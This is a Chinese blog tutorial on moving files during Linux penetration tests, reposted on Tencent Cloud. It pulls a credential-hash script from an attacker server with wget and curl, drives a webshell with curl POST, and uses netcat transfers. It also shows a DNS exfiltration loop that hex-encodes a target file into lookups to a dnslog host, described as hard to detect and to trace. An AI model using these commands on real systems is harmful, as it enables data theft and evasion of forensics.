前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >干货 | Linux之渗透测试常用文件传输方法

干货 | Linux之渗透测试常用文件传输方法

作者头像
网络安全自修室
发布2024-03-18 14:57:54
1690
发布2024-03-18 14:57:54
举报
1

免责声明

本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。

2

内容速览

介绍

文件上传一般分为上传和下载,下面我所指的下载具体指的是攻击机(本地机器)向目标机(服务器)传输文件。

而上传则相反是从目标中收集下载文件!如果让目标机器下载,我们大多数时候都需要先把需要下载的文件挂载出来!

攻击机挂载文件

Python脚本挂载

代码语言:javascript
复制
# python2
python -m SimpleHTTPServer
# python3适用的将当前目标挂载,不填写端口的话默认是到8000端口中
python3 -m http.server 端口
#python3.7之后支持指定文件
python -m http.server 端口 --directory 指定文件
# nohup 可以不依赖当前进程(关闭ssh后此进程不会跟随关闭,&表示在后台运行)
nohup python3 -m http.server &

使用阿帕奇服务挂载

代码语言:javascript
复制
# 下载阿帕奇
yum install httpd.x86_64
# 启动阿帕奇
systemctl status httpd.service
# 添加测试文件(我们上传给目标的文件就放到/var/www/html目录中即可)
echo "测试" > /var/www/html/index.html
# 如果测试文件添加后直接访问IP无法获取内容,就重启一下服务试试
systemctl restart httpd.service
# 默认80端口,如果此端口已经被占用或者被防火墙拦截可以去设置里修改为其他防火墙
# 其中有一些默认值可以修改,一个是默认网站目录/var/www/html,一个是默认打开首页index.html,想要改,找到上述单词替换掉即可!
vim /etc/httpd/conf/httpd.conf
systemctl restart httpd.service

方面下面攻击测试,将攻击机的python和阿帕奇服务都启动起来了!

http://43.128.11.131/和http://43.128.11.131:8000/

传输文件

wget

这个命令的主要功能就是用来从指定的URL下载文件。官方定义:非交互式的网络文件下载工具。这是一个单项的,只能下载文件的命令。

代码语言:javascript
复制
# 详细用法查看(官方介绍很详细,这里就不复制粘贴了)
wget -h
# 常规用法
wget 目标地址
wget http://43.128.11.131:8000/Get-PassHashes.ps1
# 可以设置-q来取消任何的信息输出,-O重命名下载的文件
wget -q -O 名字 目标地址
wget -q -O Windows收集信息脚本.ps1 http://43.128.11.131:8000/Get-PassHashes.ps1

curl

这个命令用来请求 Web 服务器的命令行工具,但可以使用其-o-O参数来进行文件下载。

代码语言:javascript
复制
# 可以使用-O来
curl -O 目标地址
curl -O http://43.128.11.131:8000/Get-PassHashes.ps1
# -o用来将输出写入文件
curl -o 名字 目标地址
curl -o Windows收集信息脚本.ps1 http://43.128.11.131:8000/Get-PassHashes.ps1
# 除此之外,如果我们在目标成功上传了小马还能通过这种方式来控制小马执行命令
curl -X 访问方式 -d "命令" 目标网络控制台(webshell)地址
# 我没往服务器里传小马,就不实机测试了
curl -X POST -d "CMD=whoami" http://43.128.11.131:8000/

netcat

netcat简称nc,他是一个功能十分强大的网络工具,但在很多Linux中并不会携带,需要我们手动安装!

代码语言:javascript
复制
# 安装nc
yum -y install nc
# 下载文件
## 在攻击机中指定的文件开启指定端口的监听
## 此方式是先将文件挂载然后等待下载
cat 文件名 | nc -l 端口
cat 1.txt | nc -l 1234
## 在目标中接收文件
nc 目标地址 端口 > 文件名
nc 43.128.11.131 1234 > 服务器下载文件.txt
# 上传文件
# 先开启接收等待文件发送,不过这种方法接收完成后不会主动退出,需要我们手动退出!
nc host_ip 1234 < file1
nc -lvvp 1234 > file2

sftp

这个是和我们ssh比较类似的一个服务

是一个交互式文件传输程序,并且支持公私钥的认证(这里的公私钥使用的是和ssh共享的公私钥文件)

代码语言:javascript
复制
# 如果是使用Windows电脑连接sftp前改变一下编码,否则可能中文乱码!!! Windows默认GBK编码,而Linux默认是UTF-8,这里我将控制台临时变为UTF-8编码解决乱码问题
# Windows10大部分版本都默认会带ssh,sftp之类的工具(第三方的精简版、企业版之类的可能不带)
chcp 65001
# 用法和ssh也十分类似,只需把ssh换成sftp即可
sftp 用户名@目标地址
sftp root@192.168.1.1
# 同样也支持ssh的一些参数
sftp -P 端口 用户名@目标地址
sftp -P 端口 -i 私钥 用户名@目标地址
sftp -P 22 root@192.168.1.1
sftp -P 22 -i ~/.ssh/id_rsa root@192.168.1.1

代码语言:javascript
复制
# sftp中同样支持ls、cd之类的常用基础命令
# 上传文件
put [本地文件的地址] [服务器上文件存储的位置]
# 下载文件
get [服务器上文件存储的位置] [本地要存储的位置]

其他方法

上述传输数据都使用了一些Linux内置的命令或服务,比较容易被查到记录哪来取证, 或被禁用,下面用一些不容易被发现的方法(即使被发现也很难取证)来获取目标主机数据!

DNS传输数据

这是一种比较隐蔽的传输数据方法,但我们需要DNSlog之类的工具接收数据!和使用一些工具来进行解密,在线加密解密工具

代码语言:javascript
复制
# 首先我们打开需要传输的文件,然后使用管道符给xxd进行分段编码
# 分段编码后将其赋予变量,然后让其访问指定域名然后我们可以通过查看dnslog的接受信息进行下一步处理
cat 文件名 | xxd -p -c 16 | while read 变量名; do host $变量名.dnslog; done
# 如
cat 1.txt | xxd -p -c 16 | while read i; do host $i.e578nr.dnslog.cn; done

基于上述命令可以做一些其他变种,比如把编码方式改变xxd -p -c 16用的是Hex编码,我们还要尝试将其换成其他编码(甚至多层编码,来进行传输)

参考资料

[0]参考文章:https://xunmi.blog.csdn.net/article/details/115370320

[10]netcat安装和详细使用介绍:http://note.youdao.com/s/Nxf2xYKz

[11]DNSlog:http://www.dnslog.cn/

[12]在线加密解密工具:https://www.ddosi.com/code/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-03-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 介绍
  • 攻击机挂载文件
    • Python脚本挂载
      • 使用阿帕奇服务挂载
      • 传输文件
        • wget
          • curl
            • netcat
              • sftp
              • 其他方法
                • DNS传输数据
                  • 参考资料
                  相关产品与服务
                  文件存储
                  文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档